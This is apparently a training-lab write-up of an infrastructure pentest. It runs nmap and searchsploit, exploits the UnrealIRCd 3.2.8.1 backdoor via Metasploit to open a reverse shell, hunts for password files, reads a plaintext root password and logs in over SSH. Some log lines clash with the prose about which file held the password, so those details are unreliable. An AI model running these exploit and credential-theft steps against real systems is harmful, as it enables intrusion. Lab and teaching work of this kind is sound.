

Guided Pentest - Infrastructure

Infrastructure penetration tests (colloquially referred to as infra pentests) are security assessments of devices on a network. These can be servers, printers, firewalls, or any other device with a network interface that can be accessed over the Internet or a LAN

- **Enumeration:** Start from zero. What do you know, and what do you need to find out?
- **Vulnerability analysis:** Analyze your enumeration results and connect the dots to potential weaknesses.
- **Initial access:** Pick your attack and execute it; get a foothold on the target.
- **Privilege escalation:** You're in, but it's not over. Enumerate again, this time from the inside, and find a way up.
- **Reporting:** None of the above matters if you can't communicate it. This is the actual deliverable. In this room, we will only cover this conceptually, as this topic will be covered in more detail in the [Writing Pentest Reports](#) room later in this path.

Enumeration

Why Enumerate?

Enumeration is the foundation of every penetration test and, without it, you're just guessing. The goal here is simple: learn as much as you can about the target before making any moves

What ports are open? What services are running? What versions are behind them? Every piece of information you gather now shapes the decisions you'll make

Scanning With Nmap

I used this scan:

```
nmap -sV -sC -oN scan.txt 10.129.166.16
```

- `-sV` probes open ports to identify the service and version running behind them.
- `-sC` runs Nmap's default set of scripts, which pull extra details like banners, supported authentication methods, and more.
- `-oN scan.txt` saves the output to a file. Get in this habit early, and you'll thank yourself during reporting.

```

root@ip-10-129-83-94:~# nmap -sV -sC -oN scan.txt 10.129.166.16
Starting Nmap 7.80 ( https://nmap.org ) at 2026-05-26 18:25 BST
mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 10.129.166.16
Host is up (0.00012s latency).
Not shown: 998 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
6667/tcp  open  irc      UnrealIRCd
| irc-info:
|   users: 1
|   servers: 1
|   lusers: 1
|   lservers: 0
|   server: irc.pentest-target.thm
|   version: Unreal3.2.8.1. irc.pentest-target.thm
|   uptime: 0 days, 0:05:15
|   source ident: nmap
|   error: Closing Link: ymgdcmdwq[ip-10-129-83-94.eu-west-3.compute.internal] (Quit: ymgdcmdwq)
Service Info: Host: irc.pentest-target.thm; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2.84 seconds

```

It found 2 open ports

Vulnerability Analysis

Connect the Dots

Don't look at the output like a wall of text. Start asking questions. Is that service version outdated? Is there a known exploit for it? Is something misconfigured? Vulnerability analysis is really just the process of taking what enumeration gave you and asking, "What can go wrong here?".

Nmap output gave you two open ports. The simplest method here is to Google their versions and the keyword "exploit".

instead of googling, you can use the searchsploit utility to find exploits. Searchsploit is a command-line tool that lets you search Exploit-DB's offline database of public exploits and vulnerability disclosures directly from your terminal.

I ran the searchsploit openssh command and got this output

```
root@ip-10-129-83-94:~# searchsploit openssh
```

Exploit Title	Path
Debian OpenSSH - (Authenticated) Remote SELinux Privilege Escalation	linux/remote/6094.txt
Dropbear / OpenSSH Server - 'MAX_UNAUTH_CLIENTS' Denial of Service	multiple/dos/1572.pl
FreeBSD OpenSSH 3.5p1 - Remote Command Execution	freebsd/remote/17462.txt
glibc-2.2 / openssh -2.3.0p1 / glibc 2.1.9x - File Read	linux/local/258.sh
Novell Netware 6.5 - OpenSSH Remote Stack Overflow	novell/dos/14866.txt
OpenSSH 1.2 - '.scp' File Create/Overwrite	linux/remote/20253.sh
OpenSSH 2.3 < 7.7 - Username Enumeration	linux/remote/45233.py
OpenSSH 2.3 < 7.7 - Username Enumeration (PoC)	linux/remote/45210.py
OpenSSH 2.x/3.0.1/3.0.2 - Channel Code Off-by-One	unix/remote/21314.txt
OpenSSH 2.x/3.x - Kerberos 4 TGT/AFS Token Buffer Overflow	linux/remote/21402.txt
OpenSSH 3.x - Challenge-Response Buffer Overflow (1)	unix/remote/21578.txt
OpenSSH 3.x - Challenge-Response Buffer Overflow (2)	unix/remote/21579.txt
OpenSSH 4.3 p1 - Duplicated Block Remote Denial of Service	multiple/dos/2444.sh
OpenSSH 6.8 < 6.9 - 'PTY' Local Privilege Escalation	linux/local/41173.c
OpenSSH 7.2 - Denial of Service	linux/dos/40888.py
OpenSSH 7.2p1 - (Authenticated) xauth Command Injection	multiple/remote/39569.py
OpenSSH 7.2p2 - Username Enumeration	linux/remote/40136.py
OpenSSH < 6.6 SFTP (x64) - Command Execution	linux_x86-64/remote/45000.c
OpenSSH < 6.6 SFTP - Command Execution	linux/remote/45001.py
OpenSSH < 7.4 - 'UsePrivilegeSeparation Disabled' Forwarded Unix Domain Sockets Pri	linux/local/40962.txt
OpenSSH < 7.4 - agent Protocol Arbitrary Library Loading	linux/remote/40963.txt
OpenSSH < 7.7 - User Enumeration (2)	linux/remote/45939.py
OpenSSH SCP Client - Write Arbitrary Files	multiple/remote/46516.py
OpenSSH/PAM 3.6.1p1 - 'gossh.sh' Remote Users Ident	linux/remote/26.sh
OpenSSH/PAM 3.6.1p1 - Remote Users Discovery Tool	linux/remote/25.c
OpenSSHd 7.2p2 - Username Enumeration	linux/remote/40113.txt
Portable OpenSSH 3.6.1p-PAM/4.1-SuSE - Timing Attack	multiple/remote/3303.sh

```
Shellcodes: No Results
```

I used the same searchsploit command for the other port UnrealIRCd

```
root@ip-10-129-83-94:~# searchsploit UnrealIRCd
```

Exploit Title	Path
UnrealIRCd 3.2.8.1 - Backdoor Command Execution (Metasploit)	linux/remote/16922.rb
UnrealIRCd 3.2.8.1 - Local Configuration Stack Overflow	windows/dos/18011.txt
UnrealIRCd 3.2.8.1 - Remote Downloader/Execute	linux/remote/13853.pl
UnrealIRCd 3.x - Remote Denial of Service	windows/dos/27407.pl

```
Shellcodes: No Results
```

Initial Access

Gaining a Foothold

found an exploit for UnrealIRCd that abuses a backdoor left in the software.

The good part about the exploit we are going to use is that there's a Metasploit module for it. This makes exploitation much easier than modifying exploit scripts. Let's fire up Metasploit first.

```
msfconsole
```

Then, search for the module we need.

```
search unrealircd
```

Matching Modules

Interact with a module by name or index. For example `info 0`, `use 0` or `use exploit/unix/irc/unreal_ircd_3281_backdoor`

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) >
```

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOSTS 10.129.166.16
```

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show payloads
```

Compatible Payloads

#	Name	Disclosure Date	Rank	Check	Description
0	payload/cmd/unix/adduser	.	normal	No	Add user with useradd
1	payload/cmd/unix/bind_perl	.	normal	No	Unix Command Shell, Bind TCP (via Perl)
2	payload/cmd/unix/bind_perl_ipv6	.	normal	No	Unix Command Shell, Bind TCP (via Perl) IPv6
3	payload/cmd/unix/bind_ruby	.	normal	No	Unix Command Shell, Bind TCP (via Ruby)
4	payload/cmd/unix/bind_ruby_ipv6	.	normal	No	Unix Command Shell, Bind TCP (via Ruby) IPv6
5	payload/cmd/unix/generic	.	normal	No	Unix Command, Generic Command Execution
6	payload/cmd/unix/reverse	.	normal	No	Unix Command Shell, Double Reverse TCP (telnet)
7	payload/cmd/unix/reverse_bash_telnet_ssl	.	normal	No	Unix Command Shell, Reverse TCP SSL (telnet)
8	payload/cmd/unix/reverse_perl	.	normal	No	Unix Command Shell, Reverse TCP (via Perl)
9	payload/cmd/unix/reverse_perl_ssl	.	normal	No	Unix Command Shell, Reverse TCP SSL (via perl)
10	payload/cmd/unix/reverse_ruby	.	normal	No	Unix Command Shell, Reverse TCP (via Ruby)
11	payload/cmd/unix/reverse_ruby_ssl	.	normal	No	Unix Command Shell, Reverse TCP SSL (via Ruby)
12	payload/cmd/unix/reverse_ssl_double_telnet	.	normal	No	Unix Command Shell, Double Reverse TCP SSL (telnet)

```

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload cmd/unix/reverse
payload => cmd/unix/reverse
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

  Name      Current Setting  Required  Description
  ----      -
  CHOST      10.129.166.16    yes       The local client address
  CPORT      6667             yes       The local client port
  Proxies    10.129.166.16    yes       A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     10.129.166.16    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      6667             yes       The target port (TCP)

Payload options (cmd/unix/reverse):

  Name      Current Setting  Required  Description
  ----      -
  LHOST      10.129.166.16    yes       The listen address (an interface may be specified)
  LPORT      4444             yes       The listen port

Exploit target:

  Id  Name
  --  ---
  0    Automatic Target

View the full module info with the info, or info -d command.

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > Set LHOST 10.129.83.94
[*] Unknown command: Set. Did you mean set? Run the help command for more details.
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set LHOST 10.129.83.94
LHOST => 10.129.83.94
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set LPORT 443
LPORT => 443

```

I then Set a payload for a reverse unix shell and this had more options to set the LHOST which is the attacking machines ip and LPORT which is a port to listen on

I then ran the exploit with the command exploit

```

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit
[*] Started reverse TCP double handler on 10.129.83.94:443
[*] 10.129.166.16:6667 - Connected to 10.129.166.16:6667...
[*] :irc.pentest-target.thm NOTICE AUTH :*** Looking up your hostname...
[*] 10.129.166.16:6667 - Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo eIGHKbcYutenIgDR;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "eIGHKbcYutenIgDR\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (10.129.83.94:443 -> 10.129.166.16:39706) at 2026-05-26 19:00:56 +0100

```

When you first catch a reverse shell, it's typically a "dumb" shell without full terminal features — it lacks job control, tab completion, and importantly, commands like `su` or `sudo` won't work because they require an interactive TTY to securely read passwords. Upgrading to a full TTY transforms your basic reverse shell into a proper interactive terminal session, which is necessary because commands like `su` and `sudo` require a real terminal (TTY) to safely prompt for and read password input. In this room, this is not required, as we will see later.

when i got access to the shell I then used linux commands to locate the directory and the flag

```
pwd
/opt/Unreal3.2
cd home
sh: 11: cd: can't cd to home
cd /home
ls
ubuntu
webmaster
cd webmaster
ls
flag.txt
cat flag.txt
THM{Pwned-Y0ur-First-Machine}
```

Post Exploitation

Privilege Escalation

try to find interesting files that may help us with our privilege escalation attempts.

```
find / -name password* 2>/dev/null
```

helps find files which contain the word password in their name

```
find / -name password* 2>/dev/null
/boot/grub/i386-pc/password.mod
/boot/grub/i386-pc/password_pbkdf2.mod
/snap/core20/2379/var/lib/pam/password
/snap/core/17272/usr/lib/pppd/2.4.7/passwordfd.so
/snap/core/17272/var/cache/debconf/passwords.dat
/snap/core/17272/var/lib/pam/password
/snap/core18/2999/var/lib/pam/password
/snap/core18/1885/var/lib/pam/password
/snap/core22/1621/var/lib/pam/password
/usr/lib/grub/i386-pc/password.mod
/usr/lib/grub/i386-pc/password_pbkdf2.mod
/etc/password.txt
/var/lib/pam/password
/var/cache/debconf/passwords.dat
```

```
cat: /etc/password.txt: No such file or directory
cat /etc/passwd
root:PDLrCVl1pLD91U0JMmCz
```

found a file password.txt in the etc path and used cat to read it which gave me the root username and password

now I can ssh as root in a new terminal window as we know ssh is open using:

ssh [root@10.129.166.16](ssh://root@10.129.166.16) (the ip of the target)

```

root@ip-10-129-83-94:~# ssh root@10.129.166.16
The authenticity of host '10.129.166.16 (10.129.166.16)' can't be established.
ECDSA key fingerprint is SHA256:ifvtISgXieai+6M6i09Zv7ab50VKhmMP+KaQZ8CEsG8.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.166.16' (ECDSA) to the list of known hosts.
root@10.129.166.16's password:
Welcome to Ubuntu 24.04.1 LTS (GNU/Linux 6.8.0-1017-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/pro

System information as of Tue May 26 18:18:37 UTC 2026

System load:  0.08           Temperature:   -273.1 C
Usage of /:   13.2% of 19.31GB Processes:    117
Memory usage: 8%           Users logged in: 0
Swap usage:   0%           IPv4 address for ens5: 10.129.166.16

Expanded Security Maintenance for Applications is not enabled.

261 updates can be applied immediately.
146 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Thu Jan  1 00:00:10 1970
root@pentest-target:~# █

```

I successfully gained access to root via ssh and found the flag

```

applicable law.

Last login: Thu Jan  1 00:00:10 1970
root@pentest-target:~# ls
flag.txt  snap
root@pentest-target:~# cat flag.txt
THM{Escalation-D0ne}root@pentest-target:~# █

```

Reporting

First of all, you should keep in mind that all the client will ever see of your work is your report. You could have the pentest of your life in which you own all the ATMs in a bank and become its domain admin, but if your report is bad, then it means the pentest was bad.

Secondly, while all professionals have their own way of writing reports, some general items should always be there:

- A cover page with a title, your name, and email address, and version control.

- A table of contents (Optional).
- An executive summary, aimed at the manager who requested the engagement, explaining what was achieved in non-technical terms.
- A technical summary aimed at the engineering manager, so they understand the impact and can prioritize accordingly (Optional).
- A table of all vulnerabilities found, ordered by severity, aimed at managers and engineers, again to prioritize accordingly.
- Detailed exploitation section, where each vulnerability and its impact are explained, exploitation steps and proof are shown, and recommendations for mitigations are given. This is aimed at engineers who will remediate your findings.

The following example is a reported finding for the privilege escalation vector we've found in this scenario.

Title: Root Password Stored in Plaintext

Severity: Critical

Description: The root user's password was found stored in plaintext within the file `/etc/password.txt`. This file was readable by low-privileged users, allowing any user with shell access to retrieve the root credentials and fully compromise the system.

Exploitation Steps:

1. Obtain a low-privileged shell on the target system.
2. Read the contents of `/etc/password.txt` using `cat /etc/password.txt`.
3. Use the discovered root password to escalate privileges via `ssh root@IP`.

Recommendation: Remove the plaintext password file immediately and rotate the root password. Credentials should never be stored in plaintext on the filesystem. Implement a secrets management solution or use properly configured system authentication mechanisms (such as `/etc/shadow` with strong hashing). Additionally, enforce the principle of least privilege to restrict file access permissions.